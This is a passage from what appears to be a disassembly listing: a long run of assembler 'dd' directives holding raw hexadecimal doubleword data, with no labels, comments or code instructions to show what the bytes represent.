0A3B35003h, 2C7AA98Eh, 1406C7C8h dd 0BC73FA12h, 92C13200h, 347FE5E9h, 28951B00h, 11AC91DDh dd 4FA900DFh, 58E8F820h, 37006088h, 0F2CB6608h, 2D87285h dd 714E69AEh, 0CC80E875h, 81FBCF97h, 0D6D83641h, 3E3A0009h dd 5A905C52h, 0F2002280h, 6891FBACh, 408D19h, 0C8BC0FB5h dd 377C560Bh, 200080F8h, 95DAA90Ch, 2187E2Fh, 3CCE9BA8h dd 44009190h, 75253067h, 7D00C69h, 0C518CBBDh, 0B705EE07h dd 0F2A0A8FEh, 0F83390h, 848D3A4Dh, 1A6229A5h, 0C30018B0h dd 7A0210A8h, 3D1D7EAFh, 4D055A6Ch, 827FF335h, 376097F0h dd 0FF5C642Eh, 13CC0E70h, 2285A0CBh, 0ACB31Eh, 0E8B60BBFh dd 19C0C431h, 7F60B91Dh, 66562687h, 571F0C10h, 14210104h dd 0F49C0332h, 69E82006h, 33A6171Ch, 2FEBC300h, 0BE3172h dd 448E088Ah, 546099CEh, 7977407h, 7D209DE8h, 36CC737h dd 0E7FFBD1h, 74C04B58h, 0E309B708h, 81BA61FDh, 0C47B2DD8h dd 102C862h, 0C8F205Bh, 0F86DE3C0h, 0A13ED607h, 27C0AB9Dh dd 2BE24Dh, 0F6CBC016h, 0CA6FD871h, 0C907200h, 0F0D76EC8h dd 9F50098Ch, 80DF02h, 208D78CFh, 8B00A5FEh, 0C1D9B932h dd 2F26D16h, 0B6BAE71h, 141CC04h, 2D84405Bh, 0FD01CF44h dd 0B3E29153h, 3C3035ECh, 48CC0032h, 8E680E97h, 0FD4DAC26h dd 5A59002Ch, 2B6E378Ah, 3E6117BCh, 0C600BAB8h, 367E16DEh dd 7A11C005h, 20D018FBh, 3CBDB8C0h, 0C308F4h, 65916714h dd 0F552DA25h, 5DB00307h, 45E368D0h, 0BF810031h, 81DD7CE9h dd 0CE00E635h, 0D91822C2h, 17EF7F6h, 578EFB8h, 393B0816h dd 0D79B0084h, 0A064AF71h, 304EFA24h, 8A30F5BBh, 26580660h dd 0EFD400F4h, 0CBE7DEBEh, 4F6F09Dh, 0E393AF7Eh, 7621C08Ah dd 0E8015A83h, 1B94199Ch, 0C5EC5116h, 0D8116059h, 6085C6EDh dd 90805896h, 1FF71BFDh, 584300D8h, 85A4503Ah, 0E73CD3AEh dd 1DBD8067h, 0D2E89F24h, 222806F1h, 0E837D5D7h, 50136B30h dd 1382EC0h, 0FEACF5C9h, 3137521Eh, 1DD0F78Ch, 90008451h dd 0C8F85873h, 4C7CA3A4h, 6C00624Dh, 0CBBAFA71h, 17097754h dd 56DBCFFh, 0C880D8B8h, 2A26F87h, 22ECB516h, 0E4A0EAAFh dd 1CE84376h, 444958h, 0C4B67377h, 14E325E2h, 8CD2CF8Bh dd 88059B00h, 1E2FEDADh, 176FAA03h, 88B228D8h, 7E43E8h dd 0B1304EBBh, 0F1264216h, 12D70A39h, 3001D350h, 0D4D6E61Bh dd 95E660h, 8F65EF31h, 0A2290D42h, 0DA86EA00h, 0CF24F925h dd 397EA16h, 1CD0B7E5h, 4AB1D188h, 7A4303Dh, 0AB777006h dd 107AF0h, 32B49444h, 0EE15A89h, 99399700h, 7C48A38Ch dd 0C19824CAh, 0B5360868h, 84889692h, 0C7EB0097h, 30A8FA6Ah dd 6B001965h, 0EDF8F315h, 0E1BF6908h, 0CDA820h, 0A2476A9Fh dd 2CEB9B24h, 9757DE00h, 8ECEC541h, 16FDB88Ch, 9C71A1h dd 35E98804h, 67004A84h, 0DFE21BCAh, 0C2D342Ch, 0CCDA2F98h dd 5EFA60FAh, 0F51D0F00h, 2EE42CA3h, 99A01F17h, 0F246C74Ch dd 506AA77Eh, 1E2C4DEDh, 8A333100h, 2A47BC03h, 0F17E00B3h dd 6258506Dh, 4B006066h, 137F3783h, 5392E6h, 9DDE1ACAh dd 583395E3h, 23C1848h, 8277EB43h, 0D100C739h, 91850C6Ch dd 5BA8803Ch, 3271E70Bh, 205FF202h, 49AE6BF6h, 54EDB0D8h dd 0F3D4A441h, 0BEF9BC40h, 2BFE04C7h, 0B104D72Fh, 1B7C01Ch dd 93275400h, 0C61A3EB4h, 0EE750F57h, 0B68A65h, 5DEA640Ch dd 3A1D2677h, 1B434CE0h, 0F91975FBh, 0F7EC1152h, 239A0024h dd 6BB0A307h, 0B700AE46h, 0D9657793h, 3ADCFC0h, 5712E8D4h dd 6AF013A9h, 3707A8EDh, 719ECD63h, 0FD78CB30h, 32380330h dd 1C60239Bh, 28A3EF8h, 0EEBF6A01h, 10BD2C3Fh, 78C0D3DCh dd 4C4C70A5h, 773C8EA3h, 61B32281h, 0D8CA4256h, 0C0B83F7Eh dd 9800A34Fh, 191825C2h, 0F3300FF8h, 0D609CC5h, 27EE8A49h dd 0FE24C700h, 8F17D4E1h, 167A0FCBh, 4060D8C5h, 0EB90858Dh dd 848B39h, 82C38944h, 7865E0Dh, 2E68E399h, 2D2CF331h dd 2A2B8AA8h, 0F9662704h, 0C83A241h, 0AF13885Dh, 88930958h dd 1820EC5Fh, 0A0F32B6Fh, 8B55BC07h, 2F41DC9Ah, 208F816Bh dd 6280D4A7h, 0D1FFC698h, 3F5D2000h, 0B6D6164Eh, 661D00B3h dd 6F3DDBCEh, 0C103F325h, 0DF702112h, 0DAAA0D8h, 882014D6h dd 0E303385Dh, 62AB13E5h, 0F77A3000h, 8D551D3Bh, 1C0D00EDh dd 0AB9F2F4Ah, 4600EE8Eh, 0A7FF7353h, 0DD10EF89h, 0AA240780h dd 264AA091h, 39000BCCh, 157FD814h, 5ECA19h, 0A309E3C1h dd 0A7227DCEh, 0DF351700h, 0D969398Ah, 634F013Bh, 21D1A21Fh dd 8753012h, 330910B8h, 4299DA81h, 4D808E4h, 0E6005655h dd 0ABC5FF46h, 1D7CE3Ah, 3085013h, 0F43E1259h, 5AE41952h dd 8F541D3Bh, 2014C4F8h, 0CE132247h, 6C04007Eh, 0C80B50D9h dd 0E004495h, 7AE19B9h, 1D45CDB8h, 948774h, 0DDF9B608h dd 0CE076B0Fh, 0C6F363AAh, 718009C5h, 8A01ADh, 0BA76B6D9h dd 0D6034975h, 614CC32Dh, 45E5180h, 0A47CC6C3h, 910F1007h dd 3F30C5AEh, 19D075Eh, 68E0C045h, 0D8C6E73Eh, 560C13ACh dd 2989E10Fh, 42084482h, 44346644h, 50848FADh, 44722836h dd 22842865h, 5A50AA8Ah, 42841614h, 7266081Ch, 3CCE14C4h dd 287C5311h, 0DAE31470h, 82067221h, 127B2901h, 7AF91064h dd 3C41A689h, 58126BC6h, 887E8810h, 0C9893D0Ah, 274C24EAh dd 1488C2B7h, 0D61114BEh, 8A02171h, 0E291C4D0h, 7D671C00h dd 0E8EFCFA8h, 4D3B2C00h, 7B731451h, 2D2500DEh, 1BCD47CAh dd 0AA00B374h, 303B7D61h, 0A5371Eh, 2C819415h, 865C437Bh dd 635DF8F7h, 89198C00h, 9A032441h, 619E032Ch, 0A7E6F6F9h dd 0C9B06DF3h, 330037EEh, 0E5120201h, 321D22h, 0A19DB158h dd 1E7C9213h, 47205601h, 0A99196CBh, 0B726E20h, 0A565C83Ch dd 1A20C30Ch, 326FB200h, 0BB5CB701h, 0BAC7019Eh, 23642759h dd 833824D1h, 0BF6F4B0Dh, 1AD82868h, 563D005Fh, 2FFFFBAFh dd 7D00F1DCh, 7F461BF6h, 0FA393C66h, 0B8A10796h, 8E061337h dd 0E525D201h, 0BCABC48Ch, 60E74C24h, 7DC5D900h, 1223A7h dd 61E96E06h, 0A1020B86h, 0EFCD9550h, 81C150Fh, 4E6280A9h dd 3E041B1h, 0A3674240h, 2C90A209h, 0F17110E3h, 3EFFDD00h dd 0CEE102AAh, 853F0B87h, 0D90C84F7h, 0E20E6341h, 40897DB8h dd 0CB73A9Ah, 149F465h, 67E70452h, 41363D5Bh, 0C8F2A9B0h dd 0EDB8847Fh, 0BD563800h, 0A5619791h, 13930088h, 356819BFh dd 0D202B184h, 0ED1552DCh, 0A0D0AEFAh, 27368C0Fh, 0A9DD00B4h dd 79910541h, 1100F7F3h, 871B2D45h, 0DEA0B0h, 8B906BFFh dd 63B28822h, 606F7F00h, 11B1A4E0h, 45740767h, 60A15505h dd 41E5A3E6h, 0CB5A9500h, 189E2243h, 7BA90070h, 8927178Eh dd 3C007E0Eh, 26134B0Fh, 200A56h, 949B3083h, 8584A906h dd 2F52B13h, 0C2FB01BBh, 0D0CB0451h, 0D13D59C5h, 46FA3052h dd 8DFE08h, 5CAAEF37h dd 833064BFh, 9C014F79h, 0E23982F1h, 0E840CF05h, 444611h dd 71179F31h, 9A07A8Dh, 0F1F31300h, 6B6104B8h, 5BEC0053h dd 0A5308E89h, 970307F0h, 143DB62Fh, 8B59896h, 93910172h dd 88DC751Ch, 21B2FC27h, 0DF004CFCh, 8434486Ch, 15CAC6DBh dd 0D8AC89B9h, 5DED4200h, 38685C7Ah, 5B13F109h, 0D57C0048h dd 73C3B6h, 6EF2252Dh, 7D97F6A6h, 2BA20400h, 0A43E830h dd 70E1006Ch, 3D25AF0Fh, 0BE00D3F7h, 0E0CA6729h, 9A8E69DAh dd 4C9F02C0h, 2FE560DBh, 6309105Eh, 0B2200347h, 0D310880Dh dd 0B5C70750h, 0D037B936h, 155F328Ah, 0D47CF4A0h, 917BCB00h dd 62B6BA0Ah, 0CCEE0030h, 64A35574h, 6E008A69h, 0EAFE496Dh dd 0F43673h, 14BB6515h, 0EFFAF67Eh, 80AC043Eh, 4A85DD46h dd 0FC8FE5Eh, 5744946Dh, 7BCA1B20h, 4E7BFF5Ah, 0D03F0600h dd 42FDF678h, 4FAF00C8h, 8B650FC5h, 31043EA6h, 0B19715BBh dd 9CBDF880h, 10CC0119h, 0D6B7E14Bh, 5B20E8CFh, 0AD6DFC00h dd 15BE77B0h, 0E6651C13h, 70F1403Ah, 20ACBFB4h, 21093C00h dd 0DC8EA755h, 0D6060075h, 0C8E3AAD9h, 0A80086B0h, 0D1EA101h dd 1525D49h, 0CF26558Eh, 60AED6ACh, 2F000BA8h, 0E08D201h dd 7586667Ah, 2A77F2Ah, 8814C075h, 0A4875D89h, 9EE0200Dh dd 310C3A05h, 185B0E6Ah, 82C81CA0h, 4E14402Dh, 0B46CC85h dd 89009E79h, 0E53D5211h, 8FA174h, 325349B5h, 8E6569E8h dd 6B63500h, 0DEA54E48h, 0C1A43DDDh, 1602888Eh, 0E32B1200h dd 0B101D3DAh, 9552281Dh, 7C20E9EAh, 8A790017h, 0CEC9AE33h dd 0BD037AB8h, 0CD4972E8h, 93E29815h, 37FD060Eh, 0B6FFE555h dd 36002BF8h, 574E0B67h, 0C9E38Eh, 0B5B9E9EFh, 93638B32h dd 0B064507h, 0FF91FECAh, 0B1E8F9D0h, 487F0298h, 0C539F733h dd 0A8E83840h, 0CF2A3B07h, 7E907214h, 7F1CCDFh, 0E3E940DBh dd 4D0F0D3h, 0B400AE58h, 4D5A3A0Dh, 39DDBF02h, 0EF84ECC6h dd 8064B9C9h, 6BA6540h, 0DEE3470Fh, 1531A3EDh, 1E800CDh dd 8F5FF596h, 3E00AEE7h, 8538706Ah, 0B42E3h, 80BB5076h dd 3F994A1Dh, 40955F00h, 861F07B6h, 84736Ch, 2278E20Dh dd 6ACCC0E1h, 26760C01h, 6D5002B6h, 0B413AC22h, 1D48ACDFh dd 0EFC08C7Bh, 0CA3B75C2h, 5E89068h, 0B27EC45Ch, 6B1C8016h dd 5B005EECh, 41FCC2Dh, 75F01Eh, 8C535048h, 3D5D6EF1h dd 93920818h, 14FD1D11h, 0DC821819h, 1BBAFE00h, 7045674Eh dd 0E363CA00h, 0DCC16D81h, 85420030h, 0BBD2DF9Ch, 0A60038E2h dd 53BF8A8Bh, 92549B4h, 19C7F6ACh, 8F319400h, 0DAB05022h dd 807DC43Fh, 291D5993h, 33812FEh, 1E6E0D6Dh, 7FF0D0B8h dd 851661F8h, 5316B63Ch, 9B3E20A8h, 57A13504h, 0B098805Bh dd 6B01AC7Ch, 33DF66C7h, 5EF8E5BAh, 6A4302F2h, 0A18AA66Ch dd 0E09A4C61h, 0E7FC6149h, 0F1FD100h, 0F392B550h, 41EA00DDh dd 0D8724375h, 0D400356Bh, 3BC05C60h, 0BAB0F9h, 310C9091h dd 0BD074E8Dh, 0FACB207h, 6E10F5C2h, 5842C586h, 8B00CC0Ah dd 46168757h, 7013331Bh, 8C017694h, 60F5BF65h, 3CC66F5h dd 0E9E600C3h, 56543A2Dh, 495C75FDh, 0ACA2008Ch, 53C863CBh dd 67A800B3h, 1F2C3D4Fh, 1379A438h, 961EB507h, 81EBA6C0h dd 0FCD94188h, 22F8F808h, 64397C0Ah, 81008893h, 4DEC8871h dd 1873B0h, 0E9228D4h, 0D06A38C8h, 46150900h, 0D9991332h dd 5A7600DDh, 2D06926Ch, 0CB0058B0h, 1E322931h, 1553C15Ch dd 0F4375004h, 9C3A3F71h, 0CD5D0075h, 0A077DC70h, 0E90097C6h dd 4869FC02h, 908F0BE2h, 99A60012h, 0D7278E13h, 0FC07E995h dd 40CAF38Ch, 0FAF86F31h, 0A529D4h, 55500656h, 0CB6D17EFh dd 0F76ABA00h, 0A31B8C62h, 5F820049h, 0B77DD952h, 92501A98h dd 5A000AF0h, 0D78F9E99h, 3F4E20h, 0E3C2C540h, 63F03BCDh dd 8914B377h, 8EE5A2h, 298C300Dh, 4E1AADEh, 5C21BCC1h dd 2E4C0FEh, 122C35DFh, 0F60E88D6h, 8B2380D5h, 0A1A5AC1Eh dd 987098EAh, 0BEE12E7Ch, 0B7A10BACh, 0D9FBB421h, 0F8786048h dd 0B400EF7Eh, 0C3EE37DBh, 60DFD453h, 0E2F2B14Ch, 58000942h dd 47A688BFh, 3E5A0D28h, 0E9819ACAh, 802A1BABh, 0C42BEDA3h dd 132C9874h, 388010AEh, 0D7A48963h, 126AFA15h, 434A4737h dd 0D5D5E48h, 0AE20B007h, 8068A396h, 0BBCB670Fh, 3B00A73Ch dd 8169E39Ah, 381949h, 4CE756CEh, 2DF2F5D0h, 2EA93E64h dd 0A410C8C7h, 322C0Bh, 0C901F423h, 64466198h, 0CFE78900h dd 1F598E1Dh, 0E527A07h, 0EE323D67h, 5575B520h, 5B0263B8h dd 23400EC1h, 12ACA38Eh, 9C909CC9h, 535E367h, 4A7D3B41h dd 0F1F2C008h, 0D53175ACh, 0D65188B2h, 0A0EBD470h, 1E97C3B8h dd 0CB87FCh, 65E6348Eh, 0AB00D4B1h, 59CC9296h, 48C104h dd 0C94F3926h, 0E5231F0Dh, 0EA34F301h, 0A38FBB99h, 285C5881h dd 0F02B0548h, 13959F5h, 0F2A500DCh, 8D3BF611h, 428B27Dh dd 0BE5C0A9Eh, 0FEA08014h, 5EB89D3Eh, 0B600A57Fh, 938CFB58h dd 1F47B702h, 9FF1A3AEh, 46D58076h, 0FE1DF37Fh, 1603E3F4h dd 0E8C53E69h, 1745D378h, 401598D0h, 0A1083BF0h, 0D20025F6h dd 39664C58h, 0B8AA4D10h, 153D1C96h, 6DEDC399h, 200BE0Bh dd 139210Fh, 280220BAh, 0E29CD895h, 76EA407Ch, 4800574Bh dd 7EABB7E6h, 2A680F8Ah, 9E0016A4h, 8650B5C5h, 0D2F67D00h dd 1106EA37h, 0F54E018Bh, 0E23A83CAh, 7916EC9Eh, 408A3E00h dd 0C789C6D7h, 0FEA500BFh, 7BF8C8FFh, 58005DA6h, 0DF0AAE03h dd 0B818D4Eh, 750FA5CCh, 2CA92C00h, 0A63E7308h, 0B14503D2h dd 0A0D454C4h, 99928CEAh, 61AA807Ch, 0D9DEB7D2h, 3200E9FEh dd 1225AF90h, 39F6060Ch, 4E00D65Fh, 501B4D4Ah, 1C0083BCh dd 323AC579h, 8597F9h, 0F8DEE9F4h, 0A54F38AFh, 0DB78020Fh dd 90EAE3FBh, 9B3DA80Eh, 287900A2h, 0F06EFE0Fh, 8C016FCCh dd 0E47B6354h, 0CF91965h, 610F8h, 9BDD9837h, 0B0C703B2h dd 725C6E00h, 7D30134h, 0EC3B17E8h, 69170038h, 0FE358621h dd 6F26C804h, 1CA3BBC0h, 89ADB200h, 0A03A351Ch, 9BFC9A0Fh dd 0F490E0DAh, 6017CD2h, 0BAD88726h, 0EEE29812h, 0C61D291Eh dd 645D0A41h, 983C8023h, 895C8300h, 45990CACh, 0A6031807h dd 8CF37E2Fh, 0F87DB05Bh, 4DAB002Ah, 818902BEh, 6B01C6E7h dd 29630746h, 1AF8C737h, 66D00E1Bh, 96C92DD8h, 0D1738C00h dd 6F07E452h, 0CE43492Fh, 53F146A0h, 9BAF0159h, 694D26F6h dd 9FA6E4EDh, 137C563Eh, 0DC80E46Fh, 3CEA8CC5h, 5A80FA4Ch dd 3074AAC4h, 0E93F898Bh, 0D1CC83CFh, 0F09A7127h, 2F65BFh dd 660558D0h, 4B189D7h, 79121F7Bh, 68025698h, 4E8497Ch dd 0E42F20DFh, 5C9084h, 11B50F93h, 0C8FC1D2Bh, 3272C000h dd 109805E7h, 0A7930067h, 0F0AB8C83h, 0DD000776h, 0BA9D3DF6h dd 0F5E243Fh, 0E39751F8h, 0F87A861h, 6EACF01Ch, 48E9D500h dd 0D62FCA3Dh, 0C0DF138Ah, 0BE0000BAh, 79BBF505h, 0BDC8FD09h dd 0FBA40325h, 7D10007Ah, 623C9463h, 3F078983h, 0DC55AE4Ah dd 2F2CF7F0h, 0BAFA2Ah, 821221B9h, 0DE6E0706h, 0ADE8B80Ah dd 3800B82Dh, 9AC1C8Ch, 37CE0063h, 6DBE6427h, 4200888Eh dd 83A6C64Bh, 0A47CD18h, 7FCEE521h, 58EC8090h, 2DE1FDADh dd 2AEBD05h, 0AC81318Eh, 0A03068F2h, 34281D7Fh, 0E0C2803Ah dd 0DE96E3FDh, 52417400h, 0BD60BC84h, 0F435003Fh, 7DD82186h dd 4E06C52Dh, 0A9F226FFh dd 4B0F0B29h, 7E80B8C2h, 0E028E4Ch, 6C12E401h, 28E86D97h dd 583DB7F8h, 0CD00021Dh, 51E584E3h, 0FE27E9AEh, 48180065h dd 9E054D1h, 0DC66FDBh, 0A55ACE0h, 0F828C3BFh, 1CDDB259h dd 40692AAAh, 0CCFCAC31h, 5B00074Fh, 0C5DB4338h, 3F0393h dd 0E135A563h, 1317B06Ch, 8A234B03h, 0EC25C8h, 0ACF6EF58h dd 0F4A444A2h, 10F31300h, 3648A6E7h, 20860289h, 4B37F888h dd 0B3976560h, 0DFA17103h, 0D0D1A780h, 1F619C87h, 40B4A5E3h dd 0E1CED572h, 0FD1546E5h, 0C060B3h, 0CFA35837h, 0B21F7BD3h dd 82D70358h, 255D2A1Dh, 4A1547B0h, 7D896B39h, 42336300h dd 12FD32Eh, 777B0088h, 3DADA58Ch, 0DE001722h, 7CAC54FFh dd 0E610D0h, 4EA269EFh, 21B423D7h, 0C2685307h, 2040223Fh dd 385A19h, 0DD9C4F32h, 42E58F1Ah, 0CE120B05h, 8403DB0Eh dd 8856FC2Eh, 5EBEB1h, 0A9F83B6Ch, 73D1292Ah, 6582E002h dd 802DD91Fh, 57944286h, 5A4E0514h, 9360D59Fh, 580C690h dd 24005056h, 0C83CC997h, 18CDDDh, 530CFAA0h, 0B8B767B4h dd 3DFE3900h, 33DBA760h, 73F4E7h, 75F51C96h, 62FA27Fh dd 28D17604h, 0C913EDCh, 9170E6E3h, 5432EC59h, 578A416h dd 1A0D1510h, 0A370D025h, 40615E8Eh, 76DA6E21h, 0E654CE0h dd 3844DE6Bh, 876F00DDh, 8134A8Fh, 0E11E61C0h, 8284DE2h dd 0EEDFB921h, 0F83AD002h, 0AC744184h, 1C145C3Ch, 3D00B617h dd 0E6E22ABEh, 8B1CA686h, 0A300E5F6h, 96424A10h, 325E0E22h dd 79A0252Bh, 26E643F4h, 4F0E1A75h, 4105CE37h, 0FF761FD5h dd 0BD8DF840h, 235D017Ah, 84EC71B2h, 386630A7h, 8300807Ch dd 8DC421D5h, 573F92h, 0F5102742h, 484E7954h, 0F30033EAh dd 25FCDC77h, 98E99491h, 8C8D00A3h, 0EE63A83Bh, 67000E0Ah dd 2A4475F1h, 50601A2h, 0B7AD4C08h, 0EB3480B6h, 0BA03A772h dd 14F32A6Dh, 37318066h, 2BC90047h, 818BC2E1h, 36FCCA90h dd 40FADFECh, 3C2F6301h, 0E760986Fh, 0EC5C2F8h, 377152D4h dd 0EE49D600h, 75006AE0h, 4BA869C0h, 65C3060Bh, 0BA84F0AEh dd 0CE0DEBC0h, 0B32D0725h, 90EACDD5h, 83A116EEh, 5AB1F200h dd 40937A64h, 59F4F3h, 2A7B23FAh, 8C9F5FE8h, 0EFA72406h dd 91FCF7h, 89E267F2h, 0ED5E3A7Dh, 6E6FB700h, 6C453548h dd 0BA4F066Ah, 98088722h, 181F2F38h, 1D1190F9h, 247B91h dd 0C8A035F4h, 0C5533BB3h, 8539FB0Bh, 0D80080B0h, 182D43Ah dd 4DEB5E8h, 708A5046h, 0D900C617h, 0CDFC1EB2h, 7C7E6E8Dh dd 0D3D50029h, 72433FB5h, 560F0E25h, 0A778389Dh, 6000429Fh dd 9E2F8D45h, 51C81F74h, 7C370875h, 6E1A405Dh, 8A00883Ch dd 8EFD1B3Eh, 1E32F64h, 80B15B2h, 0F3447387h, 0AE324001h dd 0FE843347h, 0F0F21080h, 8A376516h, 0B3007B90h, 0DBE12418h dd 0E50660h, 0BAD761B2h, 693D811Fh, 9D712602h, 408BD84Ch dd 3FB3491h, 2B967B6Fh, 2C8847AAh, 0A0F256B7h, 675B3100h dd 0B486287h, 2E300344h, 73B24B25h, 5CC4C690h, 8B0013F0h dd 0C16D3454h, 2C872ECCh, 6B9083h, 0E8301278h, 0BA03FF26h dd 0A9A69CDAh, 90DE48h, 1E91E95Dh, 0D7110A6Fh, 49CF3F00h dd 0BECC13B5h, 0DA401FAFh, 2C528374h, 659026A5h, 0C300FD1Dh dd 391FB730h, 0C4F8B5h, 92E96FE0h, 8A288006h, 0A67E8C00h dd 2745745Ah, 0A1BC00BBh, 835E0938h, 0BD3F47B8h, 179850E5h dd 885F8600h, 646E7EEEh, 47A800C7h, 0F8022B1Bh, 2A0095ADh dd 0CCA022A3h, 693F88h, 261C259Dh, 5D66583h, 0DF158000h dd 59931BEAh, 0A2350016h, 9B3C4CE8h, 320026D5h, 470994A7h dd 2A0649h, 0BC236C8Ch, 3C31E2ABh, 0C5A0D000h, 0BBF25CCDh dd 0B07F065Bh, 78702E80h, 9AE05702h, 0E0BC8242h, 0EF92AFh dd 10B9A89Eh, 0C4EA3743h, 0F44B790Fh, 6DE5A0B5h, 3817340Eh dd 711897B3h, 0DFCF4909h, 0DC47D105h, 0F400A91Ah, 0AE1B88A7h dd 738D2AD2h, 0DA601DC8h, 0CD07CEE5h, 80B7A802h, 0E323A560h dd 9B39FF60h, 14B4C0h, 68BF2E12h, 3C359D0Eh, 0D8BB9600h dd 8609B854h, 0FAC200F5h, 0D012C310h, 0CE0C6C63h, 4CD7494Fh dd 2E0B3D34h, 4B889C80h, 5FFCC6C3h, 0D64E9500h, 89275D39h dd 1E750017h, 4F0B92CBh, 2B0124D0h, 88AB835Ch, 0B0842341h dd 0AA3C3855h, 4BB41B81h, 0CEB481CEh, 0F9834872h, 1D4FA080h dd 0D12C85E8h, 0E9BEC40Eh, 0EC9C404Eh, 4AA54Bh, 0F6AB5D0h dd 0A2DE4940h, 29DC6D14h, 460578A7h, 6019BC7Ah, 0DE93AC01h dd 0F8E3245Fh, 3E3950Fh, 45F0C49Eh, 0AAF10678h, 0D3DB60CAh dd 9643BD00h, 5289E6DCh, 0B370C4h, 4FDAACD8h, 0D5ADEB8Ah dd 0F3C8D201h, 3E0FC20h, 86B499DBh, 9F9C20h, 175BC532h dd 0EDE80CBFh, 4E613800h, 0BA06D57Bh, 2DFCEEh, 0FF4D5335h dd 27E8155Ch, 268D200h, 99484ACDh, 0DABB6038h, 92EDB86Eh dd 49458501h, 1BC68996h, 16748140h, 1F8300E1h, 0CD87DF47h dd 0FD72A11Ah, 4F3A0700h, 7CB3B514h, 5EF4001Eh, 69D617B4h dd 4AF0505Fh, 0B5704600h, 0D179EFDFh, 648C073Fh, 64E5E5Ch dd 3C0631D0h, 9B7A4506h, 91B10082h, 0BF594F6Bh, 8C07D7F7h dd 4C467F4Dh, 0B41E7000h, 0D1ED0079h, 0BCD9A040h, 0FB905EF6h dd 23527D00h, 9FE1F7B7h, 87E620h, 39507107h, 0C2E9EB34h dd 0C4244F90h, 3F007854h, 0B3D6F0DAh, 3D2A00BDh, 91D7CCAAh dd 9E006428h, 9234B26Ch, 0FF932h, 0FE7083B8h, 97D727A0h dd 3D1C3B7Eh, 3E80AB53h, 0BC1EA998h, 69EE0E6Ch, 0E0A06015h dd 80BD75D0h, 0C2A02A00h, 727A0F56h, 5EB5000Ah, 78161ABFh dd 6A00D632h, 0B0C4ED1Ch, 485461B7h, 0A7398043h, 80BE899Ch dd 4F0E7D78h, 0D2008C97h, 0E5710C36h, 31FEAACh, 0E774C77Bh dd 0BFB8A129h, 2F003383h, 0B905B488h, 7A55E40Fh, 0DB6B2426h dd 0B391013Ah, 30398C25h, 85017FDAh, 784C10C0h, 1660FBC1h dd 291200E8h, 22A2ED73h, 0DD13E1CDh, 490290E6h, 4AA725F5h dd 58484064h, 38FA008Bh, 5304A5B8h, 851E477Eh, 1840BED9h dd 930E5C6Ch, 0F3510F5Ah, 0F36592h, 6112F5F8h, 0F41FE728h dd 7EC0CBDCh, 0B20B5445h, 43A50032h, 30EDFBDFh, 2A00A709h dd 0D02FAF99h, 0EEE2F4h, 5086EC55h, 3A11799Bh, 3E51BE09h dd 0A2240C4Eh, 65F6A4h, 21CE618h, 755C1E4Fh, 0DD0013F6h dd 0C00DCD21h, 982BF31Ah, 0F0D201ECh, 947AF5F1h, 109C05Fh dd 0A41C27E0h, 0B5C07B2Ah, 468875A6h, 7814986Fh, 20514DEAh dd 6A9D9800h, 5F3207D6h, 8D493506h, 5860127Ah, 69144AC4h dd 0AA03F4B4h, 546B2FECh, 17C1A983h, 0CBEFC8DFh, 9E4930Eh dd 3EC28098h, 0FB29038h, 0B3E79E7Eh, 40B12466h, 0EEAFEB02h dd 40F3F680h, 3BB80AFCh, 0EF007284h, 8BAD512Dh, 94EA61B3h dd 0B0CD9700h, 39ABB9C3h, 0A2F507D7h, 0D9AD9156h, 0CE02CC8Fh dd 7C68B719h, 0F2039D81h, 6FEB8F28h, 119AE0Eh, 0C8928020h dd 41D89F94h, 308D96F4h, 37487084h, 84F70188h, 0FBB72B07h dd 314CCh, 0B286FDA3h, 5DABEC7Fh, 0CF9D5A02h, 0C87A6156h dd 9546F4h, 10C8DB84h, 592255B7h, 9FCF2039h, 0D3C07176h dd 0D34D9BFh, 0BE891BBh, 0B58028CCh, 48AE021h, 355DC702h dd 62546AFEh, 98FC003Fh, 611C841h, 0E6E20768h, 805071B6h dd 0FB007D94h, 1BEB2FA4h, 78D0E7h, 81ABC71Ah, 0E431AD21h dd 0E0B648h, 0D22EA646h, 0EE7D4D5h, 69305301h, 95080137h dd 0C4C3AAF6h, 0B022687h dd 0F79EB04Eh, 184477h, 0AFB2987Bh, 0F9C874B9h, 635770E1h dd 0FAE52600h, 7B5BCD1Ah, 0D8210446h, 0D0DC4E60h, 7F96C230h dd 720B0084h, 4B650F51h, 971FFA69h, 7CCB2586h, 0CF6C2085h dd 24D563B9h, 0F31F62h, 10DC98E7h, 0C660AF9Bh, 0E2351CC8h dd 0B71B0055h, 0AEBBF753h, 3938543Fh, 4E1880C8h, 93EF1AA0h dd 6F2C00B3h, 73902E95h, 0EA7336BDh, 6A561400h, 9B45DAE2h dd 0D7050049h, 71699813h, 2C07841Ch, 687AFBDBh, 6B569E70h dd 0EE6200AAh, 69E536F5h, 659083BDh, 9D6D6000h, 709EB9AEh dd 2F1800FBh, 96744FACh, 880325C2h, 3C8BD2CBh, 0D8009DDBh dd 0C3DDAA77h, 645701A3h, 99D02433h, 0FE0DDCB7h, 8003A500h dd 0EACB1D26h, 91C43837h, 7F3B9F00h, 0FCB5253Ah, 0E60B148h dd 266ED5Dh, 0C0517A26h, 5D81CE68h, 7403B8AEh, 1052D213h dd 608AA3A9h, 91725D68h, 14A5720Eh, 312F00C0h, 1C56B609h dd 8338C958h, 816E17C4h, 16F6ECB8h, 0CCF1187Eh, 0AD3AC714h dd 7B007521h, 3486B3Fh, 2E69AFh, 817568B5h, 0BEEDCB93h dd 869CD400h, 0DB59A5D6h, 835E00FFh, 0C5E2A9E9h, 883B078Bh dd 357B064Fh, 4E808708h, 0BBFF8A5h, 0D17F2Dh, 0E76BF524h dd 0F83B004Dh, 5D6675CAh, 0FA01BF0Ah, 0E21EDDD6h, 0B8606F2Dh dd 0B9E50025h, 2FF50B5Bh, 0C926558Ah, 688064DBh, 85A407DDh dd 76120492h, 85C8D5F8h, 0C35888F0h, 7C52FC00h, 77F0A0CDh dd 14B0006Eh, 0A32FD9FEh, 85000C49h, 21312E04h, 818B12h dd 0A95EAA80h, 0D0CEA4D3h, 0F7463F2Ch, 4B5D761Fh, 6894F287h dd 0E74941D3h, 40578600h, 22A41C93h, 0D58B4F88h, 0C7DC2840h dd 541FBF56h, 4EC91137h, 29E80074h, 0E4B564h, 17306898h dd 807944F4h, 0D1C8EF50h, 5E736700h, 5B6D5739h, 0F39A0106h dd 744B2C33h, 24A180BDh, 9FD3FDA7h, 9CF4134Ah, 2201641h dd 888A89Bh, 272C1850h, 0DD073002h, 5E90BB31h, 54048E73h dd 1ECAF089h, 0C914EBA6h, 784003E7h, 9002CC9Fh, 4D76CDFDh dd 0B9B4A75Fh, 0A7195E00h, 0A8730053h, 1CC830F3h, 0A504DD91h dd 17670893h, 